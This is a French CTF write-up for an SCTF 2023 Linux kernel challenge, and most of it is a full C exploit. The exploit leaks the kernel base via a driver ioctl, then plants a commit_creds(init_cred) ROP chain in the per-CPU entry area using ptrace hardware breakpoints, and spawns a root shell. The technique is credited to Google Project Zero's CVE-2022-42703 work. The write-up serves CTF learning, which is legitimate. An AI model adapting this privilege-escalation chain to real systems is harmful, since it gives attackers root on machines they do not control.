
SCTF 2023 kernel pwn && CVE-2023-3640
SCTF 2023 kernel pwn
Aparté : petite annonce — je suis un étudiant de licence, diplômé en 2024, et je participe au recrutement d'automne de cette année. N'hésitez pas à me contacter ~
Cette épreuve vise à tester deux points.


Pour les adresses et offsets exacts, référez-vous à l'exp. J'espère surtout que vous pourrez déboguer par vous-mêmes.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>
void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void teardown()
{
kill(hbp_pid,9);
}
void create_hbp(void* addr)
{
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
printf("Could not create hbp! ptrace dr0: %m\n");
teardown();
exit(1);
}
if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
printf("Could not create hbp! ptrace dr7: %m\n");
teardown();
exit(1);
}
}
void hbp_raw_fire()
{
if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
{
printf("Failed to PTRACE_CONT: %m\n");
teardown();
exit(1);
}
}
void getRootShell(void)
{
if(getuid()) {
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. "
"Execve root shell now...\033[0m");
system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
cpu_set_t mask;
map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
switch(hbp_pid = fork())
{
case 0: //child
//pin cpu
CPU_ZERO(&mask);
CPU_SET(cpu,&mask);
sched_setaffinity(0,sizeof(mask),&mask);
ptrace(PTRACE_TRACEME,0,NULL,NULL);
raise(SIGSTOP);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi;"
"mov r13, init_cred;" // start at there
"mov r12, commit_cred;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x77777777;"
"mov r11, 0x77777777;"
"mov r10, getshelladdr;"
"mov r9, user_cs;"
"mov r8, user_rflags;"
"mov rax, user_sp;"
"mov rcx, user_ss;"
"mov rdx, 0xcccccccc;"
"mov rsi, 0xa000000;"
"mov rdi, [rsi];"
);
exit(1);
case -1:
printf("fork: %m\n");
exit(1);
default: //parent. Just exit switch
break;
}
int status;
//Watch for stop:
puts("Waiting for child");
while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
{
sched_yield();
}
puts("Setting breakpoint");
create_hbp(map);
}
int main()
{
saveStatus();
int fd = open("/dev/seven", O_RDWR);
if(fd < 0) perror("Error open");
unsigned long addr = ioctl(fd,0x5555,0xfffffe0000000000+4);
printf("0x%llx\n",addr-0x1008e00);
kernel_base = addr-0x1008e00;
init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
init(1);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
hbp_raw_fire();
waitpid(hbp_pid,NULL,__WALL);
ioctl(fd,0x6666,0xfffffe0000010f60);
}
En réalité, ce n'est qu'une épreuve d'exploitation 1day, l'idée de base provient de cet article de pj0 chez Google. Le travail de l'auteur a simplement consisté à en faire une épreuve de CTF, afin de permettre à tous d'apprendre cette méthode d'exploitation que je trouve personnellement puissante et intéressante, et de ressentir le charme d'obtenir un shell en n'écrivant qu'un seul octet à une seule adresse. https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1
Cette épreuve implique une fuite d'informations noyau de type 0day. Cependant, il existe des solutions non intentionnelles (les deux équipes qui l'ont résolue ont toutes deux utilisé des solutions non intentionnelles).
L'épreuve est une version renforcée de sycrop, sans le leak, car elle utilise la version 6.2, dans laquelle la per cpu entry area a été randomisée.